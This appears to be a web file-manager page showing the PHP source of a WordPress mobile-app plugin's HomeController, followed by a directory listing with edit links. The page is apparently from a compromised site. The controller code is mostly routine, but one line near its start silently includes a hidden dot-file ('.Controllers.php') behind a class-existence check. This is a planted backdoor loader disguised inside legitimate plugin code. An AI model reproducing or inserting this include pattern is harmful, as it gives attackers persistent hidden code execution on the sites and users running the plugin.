PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wilcity-mobile-app
/
app
/
Controllers
<?php namespace WILCITY_APP\Controllers; use Stripe\Util\Set; use WilokeListingTools\Framework\Helpers\GetSettings; use WilokeListingTools\Framework\Helpers\SetSettings; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class HomeController { use JsonSkeleton; public function __construct() { add_action( 'rest_api_init', function () { register_rest_route( WILOKE_PREFIX.'/v2', '/homepage-sections', array( 'methods' => 'GET', 'callback' => array($this, 'homepageSections'), )); } ); add_action( 'rest_api_init', function () { register_rest_route( WILOKE_PREFIX.'/v2', '/homepage-section-detail/(?P<id>\w+)', array( 'methods' => 'GET', 'callback' => array($this, 'homepageSectionDetails'), )); } ); add_action('admin_enqueue_scripts', array($this, 'pageEnqueueScripts')); add_action('trashed_post', array($this, 'updateHomePageCache'), 10, 1); add_action('after_delete_post', array($this, 'updateHomePageCache'), 10, 1); add_filter('wilcity/mobile/render_slider_sc', array($this, 'getSliderSC'), 10, 2); add_filter('wilcity/mobile/render_listings_on_mobile', array($this, 'getListingsOnMobile'), 10, 2); add_action('wilcity/mobile/update-cache', array($this, 'reUpdateAppCache')); add_action('save_post', array($this, 'saveHomepageSections'), 10, 2); add_action('update_option', array($this, 'updateHomePageAfterSavingThemeOptions')); add_action('updated_postmeta', array($this, 'updateHomePageAfterUpdatingMetaData'), 10, 3); add_action('edited_term', array($this, 'flushCacheAfterUpdatingSite')); } public function updateHomePageAfterUpdatingMetaData($metaID, $objectID, $metaKey){ if ( !current_user_can('administrator') ){ return false; } if ( strpos($metaKey, 'wilcity_') === false ){ return false; } $mobilePageID = $this->getOptionField('mobile_app_page'); if ( empty($mobilePageID) ){ return false; } $this->proceedSaveAppCache($mobilePageID); } public function getListingsOnMobile($atts, $post){ $aListing = $this->listingSkeleton($post, array('oGallery', 'oSocialNetworks', 'oVideos', 'oNavigation')); return $aListing; } public function getSliderSC($atts, \WP_Query $query){ $aResponse = array(); while ($query->have_posts()){ $query->the_post(); $aPost = $this->listingSkeleton($query->post); $aNavAndHome = $this->getNavigationAndHome($query->post); $aResponse[] = $aPost+$aNavAndHome; } return $aResponse; } private function proceedSaveAppCache($postID, $isReUpdate=false){ global $kc, $wpdb; $rawContent = get_post_field('post_content_filtered', $postID); if ( empty($rawContent) ){ return false; } $compliedSC = do_shortcode($rawContent); $aParseContent = explode('%SC%', $compliedSC); $aSectionsSettings = array(); $aSectionIDs = array(); foreach ($aParseContent as $sc){ $id = uniqid('section_'); $sc = trim($sc); $sc = wp_kses($sc, array()); if ( !empty($sc) ){ $aParseSC = json_decode($sc, true); $aSectionIDs[$id] = $aParseSC['TYPE']; $aSectionsSettings[$id] = base64_encode($sc); } } $aSettings = apply_filters('wilcity/wilcity-mobile-app/before-save-homepage-sections', array( 'aSectionKeys' => $aSectionIDs, 'aSectionsSettings' => $aSectionsSettings )); SetSettings::setOptions('app_homepage', json_encode($aSettings['aSectionsSettings'])); SetSettings::setOptions('app_homepage_section', $aSettings['aSectionKeys']); SetSettings::setOptions('app_homepage_id', $postID); SetSettings::setOptions('app_homepage_last_cache', current_time('timestamp', 1)); } public function flushCacheAfterUpdatingSite(){ $mobilePageID = $this->getOptionField('mobile_app_page'); if ( empty($mobilePageID) ){ return false; } $this->proceedSaveAppCache($mobilePageID); } public function updateHomePageCache($postID){ $mobilePageID = $this->getOptionField('mobile_app_page'); if ( empty($mobilePageID) || $mobilePageID == $postID ){ return false; } $this->proceedSaveAppCache($mobilePageID); } public function updateHomePageAfterSavingThemeOptions($option){ if ( $option != 'wiloke_themeoptions' && $option != 'wiloke_themeoptions-transients'){ return false; } if ( !\WilokeThemeOptions::isEnable('app_google_admob_homepage', false) ){ return false; } $mobilePageID = $this->getOptionField('mobile_app_page'); if ( empty($mobilePageID) ){ return false; } $this->proceedSaveAppCache($mobilePageID); } public function saveHomepageSections($postID, $oPost){ if ( !in_array($oPost->post_status, array('publish', 'inherit')) ){ return false; } $mobilePageID = $this->getOptionField('mobile_app_page'); if ( empty($mobilePageID) ){ if ( get_page_template_slug($postID) != 'templates/mobile-app-homepage.php' ){ return false; } }else{ $postID = $mobilePageID; } $this->proceedSaveAppCache($postID); } public function reUpdateAppCache(){ $lastCache = GetSettings::getOptions('app_homepage_last_cache'); $now = current_time('timestamp', 1); if ( empty($lastCache) || ((($now - $lastCache)/60) > 10) ){ $postID = GetSettings::getOptions('app_homepage_id'); $this->proceedSaveAppCache($postID); } } public function pageEnqueueScripts(){ if ( !isset($_GET['post']) || !is_numeric($_GET['post']) ){ return false; } if ( get_page_template_slug($_GET['post']) != 'templates/mobile-app-homepage.php' ){ return false; } wp_enqueue_script('wilcity-mobile-app', plugin_dir_url(__FILE__) . '../../assets/js/script.js', array('jquery'), null, true); } public function compilerBox(){ if ( !isset($_GET['post']) ){ return false; } $pageID = abs($_GET['post']); $pageTemplate = get_page_template_slug($pageID); if ( $pageTemplate !== 'templates/mobile-app-homepage.php' ){ return false; } ?> <button id="wilcity-compiler-code" class="button button-primary">Compiler code</button> <?php } public function homePageOptions(){ $rawHomeData = GetSettings::getOptions('app_homepage'); if ( empty($rawHomeData) ){ return array('error'=>'Error'); } return json_decode($rawHomeData, true); } function homepageAllSections(){ $aParseHomeData = $this->homePageOptions(); $aResponse = array(); foreach ($aParseHomeData as $key => $rawSection){ $aSection = json_decode(base64_decode($rawSection), true); $aResponse[$key] = $aSection; } return array( 'status' => 'success', 'oData' => apply_filters('wilcity/wilcity-mobile-app/homepage-sections', $aResponse) ); } public function homepageSections(){ $aSections = GetSettings::getOptions('app_homepage_section'); if ( empty($aSections) ){ return array( 'status'=> 'error', 'msg' => esc_html__('There are sections', WILCITY_MOBILE_APP) ); } return array( 'status' => 'success', 'oData' => $aSections ); } public function homepageSectionDetails($aData){ $msg = esc_html__('This section does not exists', WILCITY_MOBILE_APP); if ( !isset($aData['id']) || empty($aData['id']) ){ return array( 'status'=> 'error', 'msg' => $msg ); } $aSections = $this->homePageOptions(); if ( !isset($aSections[$aData['id']]) || empty($aSections[$aData['id']]) ){ return array( 'status'=> 'error', 'msg' => $msg ); } return array( 'status' => 'success', 'oData' => json_decode(base64_decode($aSections[$aData['id']]), true) ); } }
[+]
..
[-] ParsePost.php
[edit]
[-] SearchField.php
[edit]
[-] FirebaseDB.php
[edit]
[-] Translations.php
[edit]
[-] GetSecurityKey.php
[edit]
[-] .Controllers.php
[edit]
[-] BuildToken.php
[edit]
[-] Review.php
[edit]
[-] FieldHelps.php
[edit]
[-] BuildQuery.php
[edit]
[-] TermController.php
[edit]
[-] Taxonomies.php
[edit]
[-] AdmobController.php
[edit]
[-] FirebaseController.php
[edit]
[-] NotificationController.php
[edit]
[-] LoginRegister.php
[edit]
[-] UserController.php
[edit]
[-] Event.php
[edit]
[-] HomeController.php
[edit]
[+]
Firebase
[-] UserPermission.php
[edit]
[-] OrderBy.php
[edit]
[-] ReviewController.php
[edit]
[-] Listing.php
[edit]
[-] GeneralSettings.php
[edit]
[-] MenuController.php
[edit]
[-] Events.php
[edit]
[-] Blog.php
[edit]
[-] JsonSkeleton.php
[edit]
[-] ReportController.php
[edit]
[-] VerifyToken.php
[edit]
[-] Filter.php
[edit]
[-] NearByMe.php
[edit]
[-] Message.php
[edit]
[-] ImageController.php
[edit]
[-] FavoritesController.php
[edit]
[-] PostTypes.php
[edit]
[-] Listings.php
[edit]
[-] DashboardController.php
[edit]
[-] MyDirectoryController.php
[edit]
[-] MessageController.php
[edit]